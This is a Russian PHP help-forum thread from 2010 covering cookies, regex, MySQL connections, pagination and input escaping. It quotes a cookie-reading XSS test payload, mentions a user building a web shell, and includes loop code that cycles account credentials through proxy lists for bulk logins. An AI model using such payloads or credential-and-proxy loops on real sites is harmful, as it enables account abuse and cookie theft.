//чет даже вручную не получается удалить куки, ошибку выдает, все таки нужно напрямую

mailbrush
16.01.2010, 15:08
Каки вопросы?
берём СГ массив $_COOKIE[]
Суём в цикл


самое первое что пришло в голову, не проверял
//
foreach($_COOKIE as $temp)
{
setcookie($temp);
}

Повторюсь, покажи, как этим скриптом удалить куки для google.com...

ubuntu
16.01.2010, 15:28
Повторюсь, покажи, как этим скриптом удалить куки для google.com...

да мне хоть все куки удалить (в ие интересует), но было бы лучше, если для определенного сайта :)

imajo.ati
16.01.2010, 15:37
да мне хоть все куки удалить (в ие интересует), но было бы лучше, если для определенного сайта :)
сервис->свойства обозревателя->удалить "Cookie.."->OK

ubuntu
16.01.2010, 15:51
сервис->свойства обозревателя->удалить "Cookie.."->OK
ну как бэ я в разделе php об этом не писал бы ;)

Gifts
16.01.2010, 16:17
ubuntu Если задача формулируется так: Хочу удалить куки произвольного сайта (уточнение: не своего сайта), когда пользователь зашел на мой сайт - то это никак не сделать стандартными средствами PHP.

Если формулировка иная - сообщите

Deathdreams
16.01.2010, 16:31
Если бы идею ubuntu можно было бы реализовать, с таким же успехом при заходе на мой сайт я бы мог считать куки VK и других нужных мне ресурсов.

ubuntu
16.01.2010, 17:06
Если формулировка иная - сообщите

я запускаю скрипт, допустим логинимся вконтакте, потом выйти и удалить свои же куки (чужие меня не интересуют :) ) из браузера, а после вновь зайти вконтакт.

m0Hze
16.01.2010, 17:33
Эмм,а разве так,не?

setcookie ("TestCookie", "", time() - 3600, "/~rasmus/", "www.example.com", 1);

buxmanager
16.01.2010, 17:45
Доброго времени суток, дорогие форумчане! Вопрос по поводу скриптика одного на пхп.

Определение айпи и запись в лог-файл при заходе на страницу. Есть такой? Если возможно напишите! В инете искал, но только одни обрывки, а я в этом не силен.

Спасибо заранее!

imajo.ati
16.01.2010, 18:00
<?php
file_put_contents('./ip.log', @$_SERVER['REMOTE_ADDR'] . "\r\n", FILE_APPEND);

4p3
16.01.2010, 18:00
Здравствуй, ачат!

Не могу найти что вызывает Notice в скрипте.
<html>
<body>
<?php
error_reporting(E_ALL);
$regexp = "/([a-zA-Z]+)/s";

if (preg_match($regexp, "abc1",$pockets))
echo "yes<br>";
else
echo "no<br>";

for ($i=1;$i<=count($pockets);++$i)
echo "{$pockets[$i]}";
?>
</body>
</html>

Само сообщение здесь
yes
abc
Notice: Undefined offset: 2 in F:\php tests\tiny.php on line 13

Спасибо за помощь!

buxmanager
16.01.2010, 18:02
<?php
file_put_contents('./ip.log', @$_SERVER['REMOTE_ADDR'] . "\r\n", FILE_APPEND);

спасибо, испробую)

imajo.ati
16.01.2010, 18:05
Не могу найти что вызывает Notice в скрипте.count($pockets) возвращает количество элементов а не последний индекс, отсюда и ошибка. надо на единицу меньше брать чем длина списка

4p3
16.01.2010, 18:24
count($pockets) возвращает количество элементов а не последний индекс, отсюда и ошибка. надо на единицу меньше брать чем длина списка

Спасибо за ответ.
Как можно исправить, чтобы не было Notice?

Желательно без foreach. Так как нулевой элемент не нужен.

ubuntu
16.01.2010, 18:25
<?php
system("taskkill /F /IM notepad.exe");
?>



а можно не убивая процесс закрыть приложение?
прост убивая процесс, приложение не сохраняет свои настройки, закрывая же, они выполняются.

mailbrush
16.01.2010, 18:33
Спасибо за ответ.
Как можно исправить, чтобы не было Notice?

Желательно без foreach. Так как нулевой элемент не нужен.
-1, тебе же сказали...

Byrger
17.01.2010, 13:19
Есть класс работы с БД (ниже кинул начало класса)
Но вот не могу понять почему при вызове его примерно так
$db1 = new db(....vars.....);
$db2 = new db(....vars.....);

А потом начинаю делать запрос вида
$db1->query(...запос....);
$db2->query(...запос....);

ТО скрипт работает с 1 БД которая вызвана пойзже =(
Как сделать чтоб класс работал нормально с несколькими БД
class db {

var $sql_host;
var $sql_user;
var $sql_pass;
var $sql_base;
var $sql_charset = "utf8";
var $sql_count = 0;
var $sql_error = true;
var $link_id = 0;

function __construct($host,$user,$pass,$base,$code,$sql_err or) {
$this->sql_host=$host;
$this->sql_user=$user;
$this->sql_pass=$pass;
$this->sql_base=$base;
$this->sql_charset=$code;
$this->error=$error;
$this->connect();
}

function connect() {
$this->link_id=@mysql_connect($this->sql_host,$this->sql_user,$this->sql_pass);
if(!$this->link_id) $this->error("False link == Error to connect the database");
$selecting_base=@mysql_select_db($this->sql_base,$this->link_id);
if(!$selecting_base) $this->error("Flase base == Error to select the database");
$coder_query=@mysql_query("SET NAMES '$this->sql_charset'");
if(!$coder_query) $this->error("Error set $this->sql_charset");
}



function query($query_string) {
$selecting_query=@mysql_query($query_string,$this->link_id);
$this->sql_count ++;
if(!$selecting_query) $this->error("False query == $query_string");
return $selecting_query;
}
.......

m0Hze
17.01.2010, 13:27
Есть класс работы с БД (ниже кинул начало класса)
Но вот не могу понять почему при вызове его примерно так
$db1 = new db(....vars.....);
$db2 = new db(....vars.....);

А потом начинаю делать запрос вида
$db1->query(...запос....);
$db2->query(...запос....);

ТО скрипт работает с 1 БД которая вызвана пойзже =(
Как сделать чтоб класс работал нормально с несколькими БД
class db {

var $sql_host;
var $sql_user;
var $sql_pass;
var $sql_base;
var $sql_charset = "utf8";
var $sql_count = 0;
var $sql_error = true;
var $link_id = 0;

function __construct($host,$user,$pass,$base,$code,$sql_err or) {
$this->sql_host=$host;
$this->sql_user=$user;
$this->sql_pass=$pass;
$this->sql_base=$base;
$this->sql_charset=$code;
$this->error=$error;
$this->connect();
}

function connect() {
$this->link_id=@mysql_connect($this->sql_host,$this->sql_user,$this->sql_pass);
if(!$this->link_id) $this->error("False link == Error to connect the database");
$selecting_base=@mysql_select_db($this->sql_base,$this->link_id);
if(!$selecting_base) $this->error("Flase base == Error to select the database");
$coder_query=@mysql_query("SET NAMES '$this->sql_charset'");
if(!$coder_query) $this->error("Error set $this->sql_charset");
}



function query($query_string) {
$selecting_query=@mysql_query($query_string,$this->link_id);
$this->sql_count ++;
if(!$selecting_query) $this->error("False query == $query_string");
return $selecting_query;
}
.......
Как вариант,в классе сделать $connect[n];
Тобиш,при вызове класса, ресурс с $c = mysql_connect();,тоесть $c, зписывалось в $connect[] = $c;
А далее,делать работу таким образом:

functon query($query,$conn_id=0){
if(isset($this->connect[$conn_id]) & $this->connect[$conn_id]){ blablabla;
}
}

Примерно так.

Byrger
17.01.2010, 13:41
Как вариант,в классе сделать $connect[n];
Тобиш,при вызове класса, ресурс с $c = mysql_connect();,тоесть $c, зписывалось в $connect[] = $c;
А далее,делать работу таким образом:

functon query($query,$conn_id=0){
if(isset($this->connect[$conn_id]) & $this->connect[$conn_id]){ blablabla;
}
}

Примерно так.

Есть же $this->link_id :confused:

Серёжа393
17.01.2010, 13:53
Подскажите пожалуйсто статьи или лит-ру по написанию сайтов динамический с php.
т.е. мне надо написать не сложный сайт с системой администрирования и динамичным контентом. Мне надо узнать как организоавть двиг, самое главное как всё это граммтоно сделать + не плохо бы было если бы там про вёрстку тоже сказано. В гугле не нашол. ((

m0Hze
17.01.2010, 14:01
Есть же $this->link_id :confused:
Ну так ты массив создавай.И не нужно несколько переменных.Просто как пример:

$mysql = new mysql(wrong data);
$mysql->connect(data2);

Когда инициализируем класс,мы пишем коннект не в link_id, А в link_id[].И когда мы делаем коонект 2 раз,мы просто прописываем в массив выше индексов,еще один идент. коннекта. далее можем юзать так:

$mysql->query("SELECT * FROM base1",0); // Вот тут будет использоватья первый коннект.
$mysql->query("SELECT * FROM base2",1); // Вот тут будет использоватья второй коннект.

Gifts
17.01.2010, 14:27
m0Hze Вы опять вместо работы с классами - выдумываете костыли, чтобы вернуться к процедурному программированию....

Byrger По какой-то причине - пхп закрывает первое соединение с БД. В функции query - сделайте проверку переменной соединения. Посмотрите какие ID имеют соединения.

if (!($this->link_id && is_resource($this->link_id))) {var_dump($this->link_id); return 0; }

Класс, кстати, кривой - в конструкте в качестве аргумента передается sql_error, а в функции - он нигде не используется. Плюс нет значений по умолчанию

Обновление 13-40: Как всегда в мануале все написано. Про mysql_connect: If a second call is made to mysql_connect() with the same arguments, no new link will be established, but instead, the link identifier of the already opened link will be returned. The new_link parameter modifies this behavior and makes mysql_connect() always open a new link, even if mysql_connect() was called before with the same parameters.

suser
17.01.2010, 14:34
помогите подключить xmlrpc_encode_request()

пробовал на денвере и VertrigoServ и платном хостинге.
пробовал изменять код.
раскоментировал в php.ini extension=php_xmlrpc.dll
добавлял php_xmlrpc.dll и php4ts.dll
ничё не получается (
всегда Fatal error: Call to undefined function xmlrpc_encode_request()

Gifts
17.01.2010, 14:47
suser Апач перезагружали после изменения php.ini? На денвере с включенным расширением php_xmlrpc.dll - функция работает

Byrger
17.01.2010, 14:49
m0Hze Вы опять вместо работы с классами - выдумываете костыли, чтобы вернуться к процедурному программированию....

Byrger По какой-то причине - пхп закрывает первое соединение с БД. В функции query - сделайте проверку переменной соединения. Посмотрите какие ID имеют соединения.

if (!($this->link_id && is_resource($this->link_id))) {var_dump($this->link_id); return 0; }

Класс, кстати, кривой - в конструкте в качестве аргумента передается sql_error, а в функции - он нигде не используется. Плюс нет значений по умолчанию

Обновление 13-40: Как всегда в мануале все написано. Про mysql_connect:


Условие возвращает false
Если сделать просто var_dump($this->link_id);
то будет вылазить только такое сообщение
esource(8) of type (mysql link)
При запросе к любому классу

Gifts
17.01.2010, 14:58
Byrger Пример вызова в студию, с учетом замечания про mysql_connect, что вызовы должны либо различаться, либо 4 аргумент должен быть установлен.

Byrger
17.01.2010, 15:06
Byrger Пример вызова в студию, с учетом замечания про mysql_connect, что вызовы должны либо различаться, либо 4 аргумент должен быть установлен.

Оо Gifts, спасибо тебе! Сдалал 4 аргумент true для mysql_connect() и все заработало

Серёжа393
17.01.2010, 22:15
Подскажите пожалуйсто статьи или лит-ру по написанию сайтов динамический с php.
т.е. мне надо написать не сложный сайт с системой администрирования и динамичным контентом. Мне надо узнать как организоавть двиг, самое главное как всё это граммтоно сделать + не плохо бы было если бы там про вёрстку тоже сказано. В гугле не нашол. ((
без ответа

Gifts
17.01.2010, 22:21
Серёжа393 https://forum.antichat.ru/thread89681.html

REBUUS
18.01.2010, 02:53
есть текс где содержаться смайлики, но они все в нижнем регистре, как я могу их переводить в верхний регистр что бы они правильно отображались .

могу вот так str_replace(":-d",":-D", $text ); для тех смайлов кому нужен верхний регистр, но там эту строчку штук 10 раз придется писать, по короче есть метод ?

b3
18.01.2010, 02:58
strtolower();
strtoupper();

REBUUS
18.01.2010, 03:10
strtolower();
strtoupper();

и что ? мне не надо весь текст поднимать, а только некоторые смайлики которые там встречаются

Kusto
18.01.2010, 03:41
и что ? мне не надо весь текст поднимать, а только некоторые смайлики которые там встречаются
для этого регуляркой выдирай все смайлики с текстра (фунция preg_match_all ) и strtoupper() все в верхний регистр....

либо можно все сделать в одну строку для этого используеться preg_replace и модификатор /e

пример из руководства по пыху= для преобразования всех HTML тегов к верхнему регистру


<?php
preg_replace("/(<\/?)(\w+)([^>]*>)/e",
"'\\1'.strtoupper('\\2').'\\3'",
$html_body);
?>

для этого надо всего навсего свою регулярку подставить

Nightmarе
18.01.2010, 06:13
Можно ли как нибудь реализовать на php код, чтобы при любой ошибке php, все эти ошибки записывались в файл (любой тип, fatal error, undefined и т.д..) ?
то есть к примеру обращяюсь к скрипту:
lol.php?id[]=1
И в файл записывалась ошибка:
Fatal error: Unsupported operand types in /home/lol.php on line 5

Gifts
18.01.2010, 06:22
Nightmarе http://ru2.php.net/manual/en/errorfunc.configuration.php#ini.error-log

И прочие директивы для php.ini. Fatal error - насколько помню не перехватывается

b3
18.01.2010, 06:24
http://ua2.php.net/manual/en/errorfunc.configuration.php#ini.display-errors

m0Hze
18.01.2010, 10:22
Можно ли как нибудь реализовать на php код, чтобы при любой ошибке php, все эти ошибки записывались в файл (любой тип, fatal error, undefined и т.д..) ?
то есть к примеру обращяюсь к скрипту:
lol.php?id[]=1
И в файл записывалась ошибка:
Fatal error: Unsupported operand types in /home/lol.php on line 5
Что бы записать фата-ероры,тут наеврно нужно действовать так.
Вырубаем сообщения об ошибках,чтобы скрипт проработал максимаьно много после ошибки.дальше парсим сладенькую функцию: debug_backtrace(); на предмет ошибок.Там будет все.От ошибки формата данных,мускул-ошибки,ошибки сторонних классов,и даже неправильно определенный метод в инклуд-классе.В общем все-все.Далее формируй как хочеш.

imajo.ati
18.01.2010, 15:08
в чем вопрос храню в базе в типе blob картинки ...
задача какая надл сделать так чтоб картинки в буфур заганялись а потом можно было в текстовый файл вставить как картинку или как можно вставить картинку в doc чтоб она потом отображалась как картинка а не как текст...
текст я для браузера а его там много передаю так:


...
header("Content-Disposition: attachment; filename={$filename}.doc");
// В качестве типа файла задаем бинарный поток
header("Content-type: application/octet-stream");
// Отправляем клиенту размер страницы
// в HTTP-заголовке Content-length
header("Content-length: ".ob_get_length());

// Отправляем содержимое буфера вывода клиенту
ob_end_flush();
?>
кто что посоветует
фоток много есть... как это можно автоматизировать!?


И еще вопросец: как запрос правильно составить на три реквизита перед insert чтоб небыло дупликатов (уже имеющихся в БД таких записей по 3 реквиз.)

что еще один select тулить

и еще на пхп никак неззя работать ис буфером обмена !!! чето то ниче не нагуглил

1. скачать библиотеку для работы с msword либо установить ворд и юзать через $word = new COM("word.application");

2. за это вроде бы индексы таблиц отвечают. можно сделать поле уникальным.

3. http://bugs.php.net/bug.php?id=19545
по ссылке умный дядька сказал что надо написать скрипт на перле и юзать как-то так: $clipboard = shell_exec('perl get_clipboard.pl');

Byrger
18.01.2010, 17:14
Привет, помогите отпарстить таблицу последних 50 проголосовавших на http://l2top.ru/info/10166/

Надо чтоб на выводе у скрипта было data:nick(время:ник)

Пробовал написать что-то типа того но криво парсит
$link = 'http://l2top.ru/info/10166/';
$content = file_get_contents($link);
preg_match_all("/<br><\/th>(.*)<\/tr>"
."([a-zA-Z-0-9 -<>\/\n\t]+)"
."<\/table>(.*)<div>(.*)<\/td>/is", $content, $matches);

Kaimi
18.01.2010, 17:26
<?php
$link = 'http://l2top.ru/info/10166/';
$content = file_get_contents($link);
preg_match_all("/<td>(\d+:\d+:\d+ \d+\.\d+\.\d+)<\/td>.{1,50}<td>.+?<td>(.+?)<\/td>/is", $content, $matches);
for($i=0,$j=sizeof($matches[1]);$i<$j;$i++) print $matches[1][$i].':'.$matches[2][$i].'<br>';
?>

KrafT
19.01.2010, 18:16
как савместить их правельно в одну страку ??? foreach ($s as $a) {
foreach ($er as $b) { Чтобы получилась типа таво foreach ($s as $a),($er as $b){ :confused:

KrafT
19.01.2010, 19:24
как савместить их правельно в одну страку ??? foreach ($s as $a) {
foreach ($er as $b) { Чтобы получилась типа таво foreach ($s as $a),($er as $b){ :confused:
Тоисть вот скрипт
if (!$accs_file) die('accounts file!');
if (!is_file($accs_file)) die('Cannot open accounts file!');
$s = trim(file_get_contents($accs_file));
if (!strlen($s)) die('No accounts in file!');
$s = str_replace("\r", '', $s);
$s = explode("\n", $s);
$s = array_unique($s);


if (!$proxy_file) die('proxy file!');
if (!is_file($proxy_file)) die('Cannot open proxy file!');
$er = trim(file_get_contents($proxy_file));
if (!strlen($er)) die('No proxys in file!');
$er = str_replace("\r", '', $er);
$er = explode("\n", $er);
$er = array_unique($er);






/////////////////////////////////////////


////////////////////////////////////
$total_accs = count($s);
echo "Found $total_accs accounts!\n";
$i = 0;
$total_proxy = count($er);
echo "Found $total_proxy proxys!\n";
$ii = 0;
////////////////////////////////////
$a = 0;
$b = 0;
foreach ($s as $a) {

sleep(1);
$i++;

$a = explode(':', trim($a));
echo "[$i/$total_accs] Mail: {$a[0]}\nPassword: {$a[1]}\n";
file_put_contents($accs_file.'.last.txt', "{$a[0]};{$a[1]}");

foreach ($er as $b) {
$ii++;
$b = explode(':', trim($b));
echo "[$ii/$total_proxy] IP: {$b[0]}\nPORT: {$b[1]}\n";
file_put_contents($proxy_file.'.last.txt', "{$b[0]};{$b[1]}");
и есле я добавляю это foreach ($er as $b) { как тут в примере вышэ то добавляестя скобка { и ана всё портит тоесть когда скрипт будет повторять функцыи во второй раз он будет начинать с foreach ($er as $b) { а foreach ($s as $a) { он тупо прапусьтит =[[ как быть ?

KrafT
19.01.2010, 19:32
Тоисть вот скрипт
if (!$accs_file) die('accounts file!');
if (!is_file($accs_file)) die('Cannot open accounts file!');
$s = trim(file_get_contents($accs_file));
if (!strlen($s)) die('No accounts in file!');
$s = str_replace("\r", '', $s);
$s = explode("\n", $s);
$s = array_unique($s);


if (!$proxy_file) die('proxy file!');
if (!is_file($proxy_file)) die('Cannot open proxy file!');
$er = trim(file_get_contents($proxy_file));
if (!strlen($er)) die('No proxys in file!');
$er = str_replace("\r", '', $er);
$er = explode("\n", $er);
$er = array_unique($er);






/////////////////////////////////////////


////////////////////////////////////
$total_accs = count($s);
echo "Found $total_accs accounts!\n";
$i = 0;
$total_proxy = count($er);
echo "Found $total_proxy proxys!\n";
$ii = 0;
////////////////////////////////////
$a = 0;
$b = 0;
foreach ($s as $a) {

sleep(1);
$i++;

$a = explode(':', trim($a));
echo "[$i/$total_accs] Mail: {$a[0]}\nPassword: {$a[1]}\n";
file_put_contents($accs_file.'.last.txt', "{$a[0]};{$a[1]}");

foreach ($er as $b) {
$ii++;
$b = explode(':', trim($b));
echo "[$ii/$total_proxy] IP: {$b[0]}\nPORT: {$b[1]}\n";
file_put_contents($proxy_file.'.last.txt', "{$b[0]};{$b[1]}");
и есле я добавляю это foreach ($er as $b) { как тут в примере вышэ то добавляестя скобка { и ана всё портит тоесть когда скрипт будет повторять функцыи во второй раз он будет начинать с foreach ($er as $b) { а foreach ($s as $a) { он тупо прапусьтит =[[ как быть ?



Вот что получается
Found 5 accounts!
Found 5 proxys!
[1/5] Mail: sfdsf
Password: sfsf
[1/5] IP: 119.70.40.102
PORT: 8080
Found 1 friends
Cледуйший пофтор функцыи
[2/5] IP: 200.30.101.8
PORT: 8080

KrafT
19.01.2010, 20:47
$acc=file("D:\draugiem\one30/accounts.txt");
$proxy=file("D:\draugiem\one30/proxy.txt");
$value_proxy=(count($proxy)-1);
$value_acc=(count($acc)-1);
for($hj=0;$hj<=$value_proxy;$hj++)
for($hj2=0;$hj2<=$value_acc;$hj2++)
{
$port[$hj]=str_replace(":","", strstr($proxy[$hj],":"));
$port[$hj]=rtrim($port[$hj]);
$ip[$hj]=str_replace(":","",rtrim(str_replace($port,"",$proxy[$hj])));
$proxy[$hj]=rtrim($proxy[$hj]);


$port2[$hj2]=str_replace(":","", strstr($acc[$hj2],":"));
$port2[$hj2]=rtrim($port2[$hj2]);
$ip2[$hj2]=str_replace(":","",rtrim(str_replace($port2,"",$acc[$hj2])));
$acc[$hj2]=rtrim($acc[$hj2]);


echo("$ip[$hj]:$port[$hj] GOOD\n");
echo("$ip2[$hj2]:$port2[$hj2] GOOD\n");


теперь как мне обяденит это ?
for($hj=0;$hj<=$value_proxy;$hj++)
for($hj2=0;$hj2<=$value_acc;$hj2++)

пробавал так невыходет
for($hj=0;$hj<=$value_proxy;$hj++;$hj2=0;$hj2<=$value_acc;$hj2++)
как быть ?

Fuckel
20.01.2010, 00:30
для выделения хоста и порта прокси юзай регулярки, проще
<?php
$t = "asd:123";
$p = "/^([^:]+):([\d]+)/";
preg_match($p, $t, $m);
var_dump($m);
?>

разберись с фигурными скобками
и синтаксис цикла for
for (expr1; expr2; expr3)
statement

Freakazoitt
20.01.2010, 14:00
Помогите найти ошибки:

$hp_2 = 40;
$dmg = 0;
$shots = 10;

for ($shots; $shots <= 0; $shots--){
//start multi-shot
$chance = rand(0,109);

if ($chance>'75') { // промах
} else { // попал
$dmg1=rand(5,12);
$dmg = $dmg + $dmg1;
}
}//end multi-shot

if ($dmg=='0') { // ни разу не попал
$damage_1="промахнулся";
} else {
$hp_2 = $hp_2 - $dmg;
$damage_1="наносит урон в $dmg, здоровье крысы падает до $hp_2";
}

echo $damage_1;

Gifts
20.01.2010, 15:43
Freakazoitt Ошибка в условии цикла, должно быть $shots>=0 И ошибка в условии попадения - должно быть без кавычек

Серёжа393
20.01.2010, 17:36
Подскажите пожалуйсто статьи или лит-ру по написанию сайтов динамический с php.
т.е. мне надо написать не сложный сайт с системой администрирования и динамичным контентом. Мне надо узнать как организоавть двиг, самое главное как всё это граммтоно сделать + не плохо бы было если бы там про вёрстку тоже сказано. В гугле не нашол. ((

//Без нормального ответа

2.

Начал писать WEB-SHELL, как лучше верстать DIV-ами или таблицами? вообще как лучше писать свой webshell? я хочу чтобы у меня получился прекрассный WEB-SHELL!!! :rolleyes: :rolleyes: :rolleyes: :rolleyes:

mailbrush
20.01.2010, 23:11
Как узнать список переменных в скрипте?

GlooK
20.01.2010, 23:16
Как узнать список переменных в скрипте?
http://php.su/functions/?get-defined-vars

Freakazoitt
21.01.2010, 09:33
вот переделал, пустую страницу выдает
где ещё может быть ошибка?


<?
error_reporting(3)

echo "multi-shot<br>";
$hp_2 = 40;
$dmg = 0;
$shots = 10;

for ($shots; $shots >= 0; $shots--){
//start multi-shot
$chance = rand(0,109);

if ($chance>75) { // промах
} else { // попал
$dmg1=rand(5,12);
$dmg = $dmg + $dmg1;
}
}//end multi-shot

if ($dmg==0) { // ни разу не попал
$damage_1="промахнулся";
} else {
$hp_2 = $hp_2 - $dmg;
$damage_1="наносит урон в $dmg, здоровье крысы падает до $hp_2";
}

echo $damage_1;

?>

LStr1ke
21.01.2010, 10:01
вот переделал, пустую страницу выдает
где ещё может быть ошибка?

<?php

error_reporting(3);

Попробуй так

Freakazoitt
21.01.2010, 10:43
Заработало!

Серёжа393
21.01.2010, 12:52
Подскажите плиз.

Мой сайт написан в Denvere. (самопис) Тоесть MYSQL в CP1251, а вот мой хостинг (забугорный и халявный) там mysql в UTF-8 наверно.

Когда я ипортировал туда свою БД, то на сайте появились вопросы. т.к. не состыковка кодировок. Пожскажите плиз, как сделать чтобы всё было ГУД.

GreenBear
21.01.2010, 12:53
mysql_query("SET names cp1251");

Byrger
21.01.2010, 13:52
Привет
Есть домен вида site.ru и поддомен ru1.site.ru
На site.ru есть страница автаризации
Как поддомену передать автаризованного пользователя?

Gifts
21.01.2010, 14:36
Byrger http://php.net/setcookie - 5 параметр
http://php.net/session_set_cookie_params - 3 параметр

REBUUS
21.01.2010, 16:22
что бы БЕЗОПАСНО занести данные полученные из формы, достаточно через какие функции их провести ??? типа strip_tags() или функция которая переводит некоторые символы в безопасные или еще какие...

Deathdreams
21.01.2010, 18:11
REBUUS:

if( isset($_POST['data']) && is_string($_POST['data']) && !empty($_POST['data']) ){

$data = @mysql_real_escape_string($_POST['data']); //если нужно поместить в мускуль

}


Если постится массив, is_string($_POST['data']) заменить на is_array($_POST['data'])

REBUUS
21.01.2010, 18:25
REBUUS:

if( isset($_POST['data']) && is_string($_POST['data']) && !empty($_POST['data']) ){

$data = @mysql_escape_string($_POST['data']); //если нужно поместить в мускуль

}


Если постится массив, is_string($_POST['data']) заменить на is_array($_POST['data'])


я имел ввиду , не проверить пустые ли они или нужные переменные, а не содержат ли они sql инъекции или всякие хакерские штучки

Deathdreams
21.01.2010, 19:24
<?php

$data = mysql_real_escape_string($data);

?>


Я же написал.

Fuckel
22.01.2010, 04:04
при занесении в бд mysql_real_escape_string() и на выводе htmlspecialchars()

Freakazoitt
22.01.2010, 11:13
Нужно ограничить размер загружаемой на сайт картинки 100х100 (аватарка)
Файл вытягивается с помощью $_FILES['FILE']
Что нужно прописать, чтобы проверялся размер картинки?

Deathdreams
22.01.2010, 11:52
Freakazoitt,


$b = 102400; //размер файла в байтах

if( $_FILES['FILE']['size'] > $b ) die('Максимальный размер файла: '.($b/1024).' КБайт');

Freakazoitt
22.01.2010, 12:20
Freakazoitt,


$b = 102400; //размер файла в байтах

if( $_FILES['FILE']['size'] > $b ) die('Максимальный размер файла: '.($b/1024).' КБайт');



Неее, надо ограничить размер в ПИКСЕЛАХ, в пределах 100х100

WaRNeR
22.01.2010, 13:07
есть такая рега типо бесплатного хоста на сервере)
функция должна выполнять запрос к серверу и создовать ак с введеными данными в полях ввода
вот пример-->
<?php

$mode=@$_REQUEST['mode'];

if (!$mode) {

?>
<form action="reg.php?mode=go" method="post">
Логин: [min-3, max-15]<br/>
<input type="text" name="name" maxlength="15"/><br/>
Пароль: [min-5]<br/>
<input type="text" name="pass" maxlength="20"/><br/>
E-mail:<br/>
<input type="text" name="mail" maxlength="50"/><br/>
domen:<br/>
<input type="text" name="url" maxlength="50"/><br/>

<input type="submit" name="submit" value="Добавить"/><br/>
</form>
<?
}
/////////////////////////////////////////////////////////////
if ($mode=="go") {
$name=$_POST['name'];
$pass=$_POST['pass'];
$mail=$_POST['mail'];
$url=$_POST['url'];
function data($path,$auth,$post=false)
{
global $useragent;
$fp = fsockopen('0.0.0.0', 2222,$errno,$errstr);
if (!$fp) die('ошибка подключения к серверу<br/>'.$errstr);
else
{
if (isset($post)) $type = 'POST';
else $type = 'GET';
$out = $type.' '.$path." HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .= "Accept: */*\r\n";
$out .= "Authorization: Basic ".base64_encode($auth)."\r\n";
$out .= "Accept-Language: ru\r\n";
$out .= "User-Agent: ".$useragent."\r\n";
if (isset($post)){
$out .= "Content-type: application/x-www-form-urlencoded\r\n";
$out .= "Content-Length: " . strlen($post) . "\r\n";
}

$out .= "Cache-Control: no-cache\r\n";
$out .= "Connection: Close\r\n\r\n";
$out .= $post;
#die($out);
fwrite($fp, $out);
$headers = "";

while ($str = trim(fgets($fp)))
$headers .= "$str\n";
$body = "";

while (!feof($fp))
$body .= fgets($fp);
fclose($fp);

}
//возврааем данные
return array($headers,$body);
}
$useragent = 'SonyEricssonW'.Rand(400,999).'i/R1FA Browser/NetFront/3.4 Profile/MIDP-2.1 Configuration/CLDC-1.1';
$username = 'admin';
$password = '123';
$auth = $username.':'.$password;
echo '<pre>';
print_r(data('/CMD_API_ACCOUNT_USER',$auth,'action=create&add=Submit&username=$name&email=$mail&passwd=$pass&passwd2=$pass&domain=$url&ip=0.0.0.0&package=Free');

}


?>
---
так вот в этот запрос print_r(data('/CMD_API_ACCOUNT_USER',$auth,'action=create&add=Submit&username=$name&email=$mail&passwd=$pass&passwd2=$pass&domain=$url&ip=0.0.0.0&package=Free'); должны братся данные с переменных ))) ну тоись с полей ввода не знаю как обьяснить!! кароче суть такая функция не берет данные введеные в полях что делать? как правельно написать помогите))) надеюсь я понятно написал

mff
22.01.2010, 21:20
Люди, подкиньте скрипт выдачи из базы mysql порциями, то есть постраничная выдача. Сам написал, но мне кажется кривовато как то :(

$k_p = "4";
if(!$l_p) {
$l_p = "0";
}
$result33 = mysql_query ("SELECT * FROM `base` WHERE `show`='1'");
$num33 = mysql_num_rows ($result33);
if ($num33 > $k_p) {//если колличество выбранных строк больше чем колличество выб. страниц
$num_result00 = $num33;
$num33 = ceil($num33/$k_p);//возвращает ближайшее большее целое
//echo $num_result;
for ($i = 0; $i < $num33; $i++) {
$row33 = mysql_fetch_array ($result33);
$po = ($i+1)*$k_p;
if ($po > $num_result00) {// если результат больше чем колл. стр. то вычесть остаток
$po = $po - ($po-$num_result00);
}
$num_a = (($l_p/$k_p)+1);
if($l_p==($i*$k_p)){
echo '<span style="font-weight:bold;">'.($i+1).'</span> &nbsp;';
}
if($l_p!=($i*$k_p)){
echo '<a class="menu" href="nedvig.php?j=a&l_p='.($i*$k_p).'">'.($i+1).'</a> &nbsp;';
}
}
}

:o :o :o :o :o :o

LStr1ke
22.01.2010, 21:35
2mff
google: MySQL LIMIT

http://forum.antichat.ru/showthread.php?p=1739360

http://forum.antichat.ru/showpost.php?p=1757445&postcount=4

Byrger
22.01.2010, 22:15
Неее, надо ограничить размер в ПИКСЕЛАХ, в пределах 100х100
http://php.su/functions/?f=getimagesize&choice=info

REBUUS
22.01.2010, 22:51
[QUOTE=Deathdreams]
<?php

$data = mysql_real_escape_string($data);

?>


и htmlspecialchars() при выводе


Этого достаточно что бы сайт был защищен через полей формы? а вот всякие скрипты когда добавляют , типа <SCRIPT>alert(document.write(document.cookie)')</script>

и еще htmlspecialchars() писать, это когда уже echo или print делаю ?

Chaak
22.01.2010, 23:31
на выводе(echo, print) используй htmlspecialchars

Pashkela
22.01.2010, 23:36
2 Chaak:

https://forum.antichat.net/showpost.php?p=1683595&postcount=10134

не всегда, но задуматься стоит

Freakazoitt
23.01.2010, 10:37
Есть страница, которая запускается в виде page.php?id=33
id - это переменная, которая нужна для работы базы данных
внутри этой страницы есть <iframe>
как связать с ней страницу внутри iframe, чтобы там тоже выбиралась нужное $id ?
(глобальные использовать нельзя)

REBUUS
23.01.2010, 12:30
если я использую mysql_real_escape_string($data); , а при печатание htmlspecialchars , то кавычки и некоторые другие символы экранируются \' \" и так выводятся, это можно как то исправить ? а если то ни будь введет <и какой ни будь тек, то вообще ничего не виводиться>

b3
23.01.2010, 12:39
http://ua2.php.net/manual/en/function.stripslashes.php

Jazz
23.01.2010, 17:14
в одном файле php код и html форма,как сделать так чтоб код начал работать после нажатия кнопки?пробовал так if(isset($имя кнопки)) ,но не получилось.Подскажите плиз...

F1uDeR
23.01.2010, 17:39
в одном файле php код и html форма,как сделать так чтоб код начал работать после нажатия кнопки?пробовал так if(isset($имя кнопки)) ,но не получилось.Подскажите плиз...

попробуй так

if (isset($_REQUEST['knonka']))

je0n
23.01.2010, 18:08
в одном файле php код и html форма,как сделать так чтоб код начал работать после нажатия кнопки?пробовал так if(isset($имя кнопки)) ,но не получилось.Подскажите плиз...
если форма GET то:

if(isset($_GET['button_name']))
{
}

если POST, то соответственно $_POST[...]

Jazz
23.01.2010, 18:11
F1uDeR спс помогло))
проблема была с этой штукой - $H=getenv("HTTP_REFERER");
было 2 страници...хтмл с формой(index.html) и пхп с кодом $H=getenv("HTTP_REFERER");...но в $H занасился index.html
